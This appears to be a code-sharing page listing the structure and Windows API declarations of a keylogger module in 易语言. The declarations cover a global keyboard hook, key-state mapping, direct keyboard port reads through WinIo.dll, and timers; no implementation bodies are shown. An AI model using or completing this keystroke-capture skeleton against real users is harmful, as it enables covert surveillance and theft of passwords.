易语言驱动键盘记录模块源码

系统结构:调用子程序一,启动初始化,TimerProc,MyINP,GetKeyStatType1,yk_创建时钟,yk_销毁时钟,api_SetWindowsHookExA,关闭全局钩子,GetKeyState,MapVirtualKey,GetPortVal,timeKillEvent,timeSetEvent,CallWindowProc_文本,InitializeWinIo,ShutdownWinIo,api_LoadLibraryA,api_GetProcAddress,

======程序集1
           |  |
           |  |------ _启动子程序
           |  |
           |  |------ _临时子程序
           |  |
           |  |
======接口程序集
           |  |
           |  |------ 调用子程序一
           |  |
           |  |------ 启动初始化
           |  |
           |  |------ TimerProc
           |  |
           |  |------ MyINP
           |  |
           |  |------ GetKeyStatType1
           |  |
           |  |
======辅助程序集
           |  |
           |  |------ _初始化
           |  |
           |  |------ _销毁
           |  |
           |  |------ yk_创建时钟
           |  |
           |  |------ yk_销毁时钟
           |  |
           |  |
======调用的Dll
           |  |
           |  |---[dll]------   api_SetWindowsHookExA
           |  |
           |  |---[dll]------   关闭全局钩子
           |  |
           |  |---[dll]------   GetKeyState
           |  |
           |  |---[dll]------   MapVirtualKey
           |  |
           |  |---[dll]------   GetPortVal
           |  |
           |  |---[dll]------   timeKillEvent
           |  |
           |  |---[dll]------   timeSetEvent
           |  |
           |  |---[dll]------   CallWindowProc_文本
           |  |
           |  |---[dll]------   InitializeWinIo
           |  |
           |  |---[dll]------   ShutdownWinIo
           |  |
           |  |---[dll]------   api_LoadLibraryA
           |  |
           |  |---[dll]------   api_GetProcAddress

调用的DLL命令:

.DLL命令 api_SetWindowsHookExA, 整数型, , "SetWindowsHookExA"
    .参数 idHook, 整数型
    .参数 lpfn, 子程序指针
    .参数 nMod, 整数型
    .参数 dwThreadID, 整数型

.DLL命令 关闭全局钩子, 逻辑型, , "UnhookWindowsHookEx"
    .参数 hhook, 整数型

.DLL命令 GetKeyState, 整数型, "user32", "GetKeyState"
    .参数 nVirtKey, 整数型

.DLL命令 MapVirtualKey, 整数型, "user32", "MapVirtualKeyA"
    .参数 wCode, 整数型
    .参数 wMapType, 整数型

.DLL命令 GetPortVal, 逻辑型, "WinIo.dll", "GetPortVal"
    .参数 PortAddr, 整数型
    .参数 PortVal, 整数型, 传址
    .参数 bSize, 字节型

.DLL命令 timeKillEvent, 整数型, "winmm.dll", "timeKillEvent"
    .参数 uID, 整数型

.DLL命令 timeSetEvent, 整数型, "winmm.dll", "timeSetEvent"
    .参数 uDelay, 整数型
    .参数 uResolution, 整数型
    .参数 lpFunction, 子程序指针
    .参数 dwUser, 整数型
    .参数 uFlags, 整数型

.DLL命令 CallWindowProc_文本, 整数型, "user32.dll", "CallWindowProcA"
    .参数 动态调用代码, 字节集, , 一定要用本人编写的
    .参数 子程序, 整数型, , 子程序指针
    .参数 参数, 文本型, 数组, 为整数数组，参数1为成员1…类推；文本型和字节集型（自定义结构）为指针
    .参数 参数数目, 整数型, , 一定要和参数数组相符，不然会出错
    .参数 是否C调用, 逻辑型, , 真为cdecl调用方式，假为stdcall调用方式（即标准WINAPI方式）

.DLL命令 InitializeWinIo, 逻辑型, "WinIo.dll", "InitializeWinIo"

.DLL命令 ShutdownWinIo, 逻辑型, "WinIo.dll", "ShutdownWinIo"

.DLL命令 api_LoadLibraryA, 整数型, , "LoadLibraryA"
    .参数 lpFileName, 文本型

.DLL命令 api_GetProcAddress, 子程序指针, , "GetProcAddress"
    .参数 hMod, 整数型
    .参数 lpFileName, 文本型